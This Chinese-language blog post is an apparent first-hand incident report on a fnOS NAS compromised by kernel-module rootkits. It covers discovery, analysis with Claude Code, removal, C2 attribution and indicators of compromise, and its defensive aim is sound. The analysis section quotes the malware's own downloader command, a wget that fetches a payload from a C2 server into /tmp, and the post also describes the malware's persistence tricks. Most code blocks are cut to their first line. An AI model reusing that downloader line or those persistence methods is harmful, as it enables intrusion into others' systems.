本文记录了我的飞牛NAS遭受内核级Rootkit攻击的全过程,包括如何发现、分析、清除恶意软件,以及最终的溯源分析。希望能给其他fnOS用户提供参考。
事件时间: 2026年1月31日 - 2月1日
受影响系统: 飞牛fnOS (FNOS)
威胁等级: 极高危(内核级Rootkit)
最终结果: 成功清除,系统恢复正常
一、事件发现:小红书上的安全警告
1.1 朋友转发的帖子
2026年1月31日晚,我像往常一样玩claude,突然朋友转发了一篇让我心惊的帖子:
🚨飞牛 fnOS 疑似遭大规模漏洞利用,请立刻关闭公网访问!
最近几天,飞牛 fnOS 用户反馈设备被远程控制、异常占网、上传异常文件。经过多位用户与安全团队分析,确认存在未授权访问漏洞,部分设备被植入后门,可能已被纳入僵尸网络用于发起攻击。
帖子中提到的关键信息:
- 风险等级: 高危
- 影响版本: 官方未公布,疑似多个版本受影响
- 风险条件: 设备管理页面或端口被公网直接访问
- 已知攻击行为:
- 植入木马文件
- 与
45.95.212.102、151.240.13.91等服务器通信 - 创建隐藏服务
/sbin/gots、/usr/bin/nginx - 部分样本包含内核模块
snd_pcap.ko
看到这里,我意识到情况可能很严重——我的fnOS是有公网访问的。
1.2 立即自查:CPU 100%!
我立刻打开PVE(Proxmox Virtual Environment)查看fnOS虚拟机的状态。
结果让我倒吸一口凉气:CPU使用率100%!
1 | ┌─────────────────────────────────────────────────────────┐ |
正常情况下,我的NAS在空闲时CPU使用率应该在5%以下。100%的CPU占用明显不正常,很可能正在进行加密货币挖矿。
我SSH登录到系统,使用top命令查看进程,但奇怪的是找不到任何高CPU占用的进程。这更加印证了我的担忧——这可能是一个会隐藏自身的Rootkit。
二、深入分析:发现内核级Rootkit
2.1 借助Claude Code进行分析
面对这种复杂的安全事件,我决定使用Claude Code(Anthropic的CLI工具)来帮助我分析和清理系统。
首先,我让Claude帮我扫描系统中的可疑文件:
1 | # 扫描可疑的小文件(10-50KB,常见恶意软件大小) |
2.2 发现的恶意文件
扫描结果触目惊心,发现了以下可疑文件:
| 文件路径 | 大小 | MD5 | 创建时间 |
|---|---|---|---|
/sbin/gots |
14KB | 2808f5debbd7f4eca90f6242eb8811d5 | 2026-01-31 23:42 |
/usr/bin/dockers |
14KB | f9a6e2f3ef067159774a7bcdb9fbb132 | 2025-01-21 23:01 |
/usr/bin/4Va |
14KB | b6468a4813e05487ff6a686f466f81db | 2025-01-21 23:01 |
/usr/bin/mNxc |
14KB | 49d33fae631fdf4f2ce220d343268aa2 | 2025-01-22 00:16 |
/usr/bin/reMYUBLt |
14KB | 05b041d90a8b4019f5711bed243cf16d | 2025-01-22 03:13 |
更可怕的是,我还发现了两个恶意内核模块:
| 模块路径 | 大小 | MD5 |
|---|---|---|
/lib/modules/6.12.18-trim/async_memcpys.ko |
6.4KB | a26a90060f463d4e10bc558e6758d67e |
/lib/modules/6.12.18-trim/snd_pcap.ko |
6.5KB | dc47eef59a495b378d363cb8d0c61fbd |
2.3 分析内核模块
使用strings命令分析内核模块,发现了惊人的内容:
1 | $ strings /lib/modules/6.12.18-trim/async_memcpys.ko |
输出中包含:
1 | wget http://43.198.11.122/Fnos -O /tmp/Fnos |
这是一个典型的内核级下载器!它使用call_usermodehelper在内核空间执行用户空间命令,从C2服务器下载并执行恶意载荷。
另一个模块snd_pcap.ko也包含类似的代码,但连接的是另一个C2服务器151.240.13.91。
2.4 持久化机制分析
攻击者使用了多重持久化机制:
1. /etc/modules 自动加载内核模块
1 | # /etc/modules |
2. /etc/rc.local 启动恶意程序
1 | /sbin/gots fnos & |
3. immutable属性保护
攻击者还给/sbin/gots设置了immutable属性,并且删除了/usr/bin/chattr工具,防止管理员移除保护属性!
1 | $ lsattr /sbin/gots |
这是我见过的最狡猾的反取证手段之一。
三、清除过程:与Rootkit的战斗
3.1 恢复chattr工具
首先要解决chattr被删除的问题。由于apt有依赖冲突,我选择手动下载e2fsprogs包提取chattr:
1 | # 下载e2fsprogs包 |
✅ chattr工具恢复成功!
3.2 移除immutable属性
1 | sudo chattr -i /sbin/gots |
3.3 卸载恶意内核模块
1 | sudo modprobe -r async_memcpys |
3.4 删除恶意文件
1 | # 删除内核模块文件 |
3.5 清理持久化配置
清理/etc/modules:
1 | sudo sed -i '/async_memcpys/d' /etc/modules |
清理/etc/rc.local:
1 | sudo sed -i '/gots/d' /etc/rc.local |
3.6 封锁C2服务器
1 | # 封锁所有已知C2服务器 |
3.7 重建系统配置
1 | # 重建内核模块依赖 |
3.8 重启验证
重启系统后,再次检查:
1 | ┌─────────────────────────────────────────────────────────┐ |
CPU使用率恢复正常! 从100%降到5%以下,系统终于安静了。
四、溯源分析:谁是幕后黑手?
4.1 C2服务器分析
| IP地址 | 位置 | 服务商 | 用途 |
|---|---|---|---|
| 43.198.11.122 | 香港 | AWS EC2 | 载荷下载服务器 |
| 151.240.13.91 | 香港 | IPXO(匿名IP服务) | 载荷下载服务器 |
| 20.89.168.131 | 日本东京 | Microsoft Azure | 持久化通信服务器 |
攻击者使用了三个不同云服务商的服务器,分布在香港和日本,体现了较高的运营安全意识。
4.2 攻击者真实IP
遗憾的是,攻击者的真实IP无法追踪。
原因是攻击者清理了所有登录日志:
- wtmp记录被清除
- btmp记录被清除
- SSH日志无历史记录
- journald无相关时间段记录
这是一个具有较强反取证意识的攻击者。
4.3 攻击时间线
1 | 2025-01-21 23:01 │ 初始入侵,部署 dockers、4Va |
我的系统被感染了整整一年才发现! 这让我非常后怕。
4.4 攻击者画像
1 | ┌────────────────────────────────────────────────────────────────┐ |
根据小红书帖子和威胁情报分析:
- 全球约30万台fnOS暴露公网
- 攻击者疑似2-3个团伙同时活动
- 已捕捉到DDoS攻击指令
- 被感染设备可能被用于发起攻击或挖矿
五、IOC(入侵威胁指标)汇总
5.1 网络IOC
1 | # C2服务器 |
5.2 文件IOC
1 | # MD5哈希 |
5.3 行为IOC
1 | # 检查这些配置是否被篡改 |
六、安全建议
6.1 紧急措施(如果你也是fnOS用户)
- 立即关闭公网访问 - 包括端口映射、反向代理
- 检查CPU使用率 - 异常高占用可能是挖矿
- 运行以下检查命令:
1 | # 检查恶意内核模块 |
- 升级到官方建议版本 - fnOS 1.1.15
6.2 长期安全加固
SSH安全
- 更换默认端口(不要用22)
- 使用密钥认证,禁用密码登录
- 部署fail2ban
网络安全
- 使用VPN访问NAS(如Tailscale、WireGuard)
- 不要将管理端口暴露到公网
- 配置防火墙限制出站连接
系统监控
- 定期检查CPU使用率
- 监控异常网络流量
- 启用审计日志
定期备份
- 使用3-2-1备份策略
- 定期验证备份可用性
七、经验总结
7.1 这次事件教会了我什么
NAS不应该直接暴露公网 - 这是最重要的教训。即使使用HTTPS,也无法防御未知漏洞。
定期检查系统状态 - 如果我早点注意到CPU异常,可能不会被感染一年之久。
内核级Rootkit非常难以检测 - 普通的
top、ps命令看不到隐藏的进程。攻击者会删除安全工具 - 删除
chattr是很聪明的反取证手段。日志清理是常规操作 - 不要指望通过日志追踪攻击者。
7.2 Claude Code的帮助
这次事件中,Claude Code帮了大忙:
- 自动化扫描 - 快速定位可疑文件
- 内核模块分析 - 提取和分析恶意代码
- 系统清理 - 按正确顺序执行清理步骤
- 溯源分析 - 搜索威胁情报,关联已知攻击
作为一个非专业安全人员,有AI助手的帮助让我能够应对这种复杂的安全事件。
7.3 写在最后
这次经历让我深刻认识到:安全无小事。
一个NAS,存储着我所有的照片、文档、代码,如果被攻击者完全控制,后果不堪设想。更可怕的是,我的设备可能已经被用来攻击其他人——这让我感到很内疚。
希望这篇文章能帮助其他fnOS用户检查和清理自己的系统。如果你发现了类似的感染,欢迎交流。
Stay safe, stay offline (for NAS).
附录:完整清理脚本
如果你确认系统已被感染,可以参考以下脚本进行清理:
1 |
|
文章信息
- 作者:breeze
- 日期:2026-02-01
- 分类:安全事件、NAS、Rootkit
- 标签:fnOS, 飞牛NAS, 内核Rootkit, 安全事件响应, Claude Code
相关链接